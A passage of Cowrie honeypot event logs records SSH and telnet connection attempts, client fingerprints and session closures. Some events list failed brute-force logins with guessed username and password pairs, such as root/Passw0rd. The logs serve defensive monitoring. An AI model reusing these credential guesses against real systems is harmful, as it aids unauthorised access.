16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:28:22.063449Z","src_ip":"2.57.122.210","session":"952a4ed6dc3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daysha","password":"daysha12345","message":"login attempt [daysha/daysha12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:28:22.374992Z","src_ip":"213.209.159.56","session":"619fde3c22e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4rfv$RFV","message":"login attempt [ubuntu/4rfv$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:28:22.435809Z","src_ip":"2.57.122.210","session":"952a4ed6dc3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:28:23.460213Z","src_ip":"213.209.159.56","session":"619fde3c22e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:28:23.542346Z","src_ip":"2.57.122.210","session":"952a4ed6dc3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":59879,"dst_ip":"10.17.0.5","dst_port":23,"session":"18d2e18228b1","protocol":"telnet","message":"New connection: 212.55.149.117:59879 (10.17.0.5:23) [session: 18d2e18228b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:28:29.163244Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":56754,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ea0f20cb4cf","protocol":"telnet","message":"New connection: 111.119.202.27:56754 (159.203.135.109:23) [session: 1ea0f20cb4cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:28:30.004795Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":60254,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e0a55a87fde","protocol":"telnet","message":"New connection: 111.119.202.27:60254 (159.203.135.109:23) [session: 1e0a55a87fde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:28:31.674606Z"}
{"eventid":"cowrie.session.closed","duration":0.004736661911010742,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:28:31.679091Z","src_ip":"111.119.202.27","session":"1e0a55a87fde","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":53332,"dst_ip":"159.203.135.109","dst_port":23,"session":"17180e7ae100","protocol":"telnet","message":"New connection: 111.119.202.27:53332 (159.203.135.109:23) [session: 17180e7ae100]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:28:34.851624Z"}
{"eventid":"cowrie.session.closed","duration":31.75751304626465,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:28:40.957290Z","src_ip":"111.119.202.27","session":"06295bdda3ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":59510,"dst_ip":"159.203.135.109","dst_port":23,"session":"934628bde3d6","protocol":"telnet","message":"New connection: 111.119.202.27:59510 (159.203.135.109:23) [session: 934628bde3d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:28:46.275219Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":59946,"dst_ip":"159.203.135.109","dst_port":23,"session":"61b15ab50ef1","protocol":"telnet","message":"New connection: 111.119.202.27:59946 (159.203.135.109:23) [session: 61b15ab50ef1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:28:48.264951Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":59950,"dst_ip":"159.203.135.109","dst_port":23,"session":"53c21859920a","protocol":"telnet","message":"New connection: 111.119.202.27:59950 (159.203.135.109:23) [session: 53c21859920a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:28:54.312908Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":59488,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c7d2b178327","protocol":"telnet","message":"New connection: 111.119.202.27:59488 (159.203.135.109:23) [session: 8c7d2b178327]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:28:56.095205Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":46716,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7e5d8773134","protocol":"telnet","message":"New connection: 111.119.202.27:46716 (159.203.135.109:23) [session: d7e5d8773134]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:28:59.685256Z"}
{"eventid":"cowrie.session.closed","duration":31.8840594291687,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:29:01.888733Z","src_ip":"111.119.202.27","session":"1ea0f20cb4cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.555302143096924,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:29:08.406806Z","src_ip":"111.119.202.27","session":"17180e7ae100","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.307820558547974,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:29:18.582951Z","src_ip":"111.119.202.27","session":"934628bde3d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00549602508545,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:29:22.823298Z","src_ip":"111.119.202.27","session":"b897b3fec209","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":59958,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a071529445b","protocol":"telnet","message":"New connection: 111.119.202.27:59958 (159.203.135.109:23) [session: 7a071529445b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:29:26.459757Z"}
{"eventid":"cowrie.session.closed","duration":0.0052051544189453125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:29:26.464820Z","src_ip":"111.119.202.27","session":"7a071529445b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.33240747451782,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:29:26.645198Z","src_ip":"111.119.202.27","session":"53c21859920a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.17275929450989,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:29:29.267850Z","src_ip":"111.119.202.27","session":"8c7d2b178327","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.507752895355225,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:29:31.192912Z","src_ip":"111.119.202.27","session":"d7e5d8773134","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":41338,"dst_ip":"10.17.0.5","dst_port":22,"session":"67c52be54de8","protocol":"ssh","message":"New connection: 103.15.226.202:41338 (10.17.0.5:22) [session: 67c52be54de8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:29:45.019990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:29:45.025790Z","src_ip":"103.15.226.202","session":"67c52be54de8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:29:45.271765Z","src_ip":"103.15.226.202","session":"67c52be54de8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd","message":"login attempt [root/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:29:46.022326Z","src_ip":"103.15.226.202","session":"67c52be54de8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:29:47.270125Z","src_ip":"103.15.226.202","session":"67c52be54de8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0015480518341,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:29:53.123024Z","src_ip":"111.119.202.27","session":"638e5bc38802","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":55704,"dst_ip":"159.203.135.109","dst_port":23,"session":"efe3ecf9f980","protocol":"telnet","message":"New connection: 111.119.202.27:55704 (159.203.135.109:23) [session: efe3ecf9f980]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:29:55.240824Z"}
{"eventid":"cowrie.session.closed","duration":120.00186610221863,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:29:57.665807Z","src_ip":"212.55.149.117","session":"5144e0754570","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":42666,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b18da899034","protocol":"telnet","message":"New connection: 212.55.149.117:42666 (10.17.0.5:23) [session: 1b18da899034]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:30:00.222344Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":34032,"dst_ip":"10.17.0.5","dst_port":22,"session":"724a1ee2b8d3","protocol":"ssh","message":"New connection: 2.57.122.238:34032 (10.17.0.5:22) [session: 724a1ee2b8d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:30:04.223607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:30:04.228946Z","src_ip":"2.57.122.238","session":"724a1ee2b8d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:30:04.334404Z","src_ip":"2.57.122.238","session":"724a1ee2b8d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol123","message":"login attempt [sol/sol123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:30:04.651545Z","src_ip":"2.57.122.238","session":"724a1ee2b8d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:30:05.759926Z","src_ip":"2.57.122.238","session":"724a1ee2b8d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.956170082092285,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:30:27.196867Z","src_ip":"111.119.202.27","session":"efe3ecf9f980","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00284004211426,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:30:29.165938Z","src_ip":"212.55.149.117","session":"18d2e18228b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":37048,"dst_ip":"159.203.135.109","dst_port":23,"session":"c33415cada6a","protocol":"telnet","message":"New connection: 111.119.202.27:37048 (159.203.135.109:23) [session: c33415cada6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:30:30.121964Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":56906,"dst_ip":"10.17.0.5","dst_port":23,"session":"943251450a32","protocol":"telnet","message":"New connection: 212.55.149.117:56906 (10.17.0.5:23) [session: 943251450a32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:30:36.487590Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":45318,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a8f2b4ebd82","protocol":"telnet","message":"New connection: 111.119.202.27:45318 (159.203.135.109:23) [session: 5a8f2b4ebd82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:30:37.048800Z"}
{"eventid":"cowrie.session.closed","duration":0.006460428237915039,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:30:37.055125Z","src_ip":"111.119.202.27","session":"5a8f2b4ebd82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":21526,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c142fda1115","protocol":"telnet","message":"New connection: 212.55.149.117:21526 (10.17.0.5:23) [session: 0c142fda1115]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:30:39.866063Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":34944,"dst_ip":"10.17.0.5","dst_port":22,"session":"04814dba5bd5","protocol":"ssh","message":"New connection: 2.57.122.210:34944 (10.17.0.5:22) [session: 04814dba5bd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:30:44.461920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:30:44.528887Z","src_ip":"2.57.122.210","session":"04814dba5bd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:30:44.605404Z","src_ip":"2.57.122.210","session":"04814dba5bd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz!QAZ2wsx@WSX","message":"login attempt [ubuntu/1qaz!QAZ2wsx@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:30:45.008503Z","src_ip":"2.57.122.210","session":"04814dba5bd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:30:46.120946Z","src_ip":"2.57.122.210","session":"04814dba5bd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":42942,"dst_ip":"159.203.135.109","dst_port":23,"session":"4552fb63dc27","protocol":"telnet","message":"New connection: 111.119.202.27:42942 (159.203.135.109:23) [session: 4552fb63dc27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:30:46.180946Z"}
{"eventid":"cowrie.session.closed","duration":120.00360465049744,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:30:48.268449Z","src_ip":"111.119.202.27","session":"61b15ab50ef1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":55282,"dst_ip":"159.203.135.109","dst_port":23,"session":"706295eb2a6d","protocol":"telnet","message":"New connection: 111.119.202.27:55282 (159.203.135.109:23) [session: 706295eb2a6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:30:50.252908Z"}
{"eventid":"cowrie.session.closed","duration":0.005545377731323242,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:30:50.258330Z","src_ip":"111.119.202.27","session":"706295eb2a6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":55284,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0b6c5729bec","protocol":"telnet","message":"New connection: 111.119.202.27:55284 (159.203.135.109:23) [session: a0b6c5729bec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:30:53.586741Z"}
{"eventid":"cowrie.session.closed","duration":0.005196571350097656,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:30:53.591720Z","src_ip":"111.119.202.27","session":"a0b6c5729bec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.780592918395996,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:31:02.902429Z","src_ip":"111.119.202.27","session":"c33415cada6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":64.22307443618774,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:31:04.445271Z","src_ip":"212.55.149.117","session":"1b18da899034","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":44142,"dst_ip":"159.203.135.109","dst_port":23,"session":"993beca66377","protocol":"telnet","message":"New connection: 111.119.202.27:44142 (159.203.135.109:23) [session: 993beca66377]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:31:08.636749Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.117.173","src_port":28670,"dst_ip":"10.17.0.5","dst_port":22,"session":"3049a7ee5e3b","protocol":"ssh","message":"New connection: 14.103.117.173:28670 (10.17.0.5:22) [session: 3049a7ee5e3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:31:11.934750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:31:11.938920Z","src_ip":"14.103.117.173","session":"3049a7ee5e3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:31:12.171143Z","src_ip":"14.103.117.173","session":"3049a7ee5e3b","protocol":"ssh"}
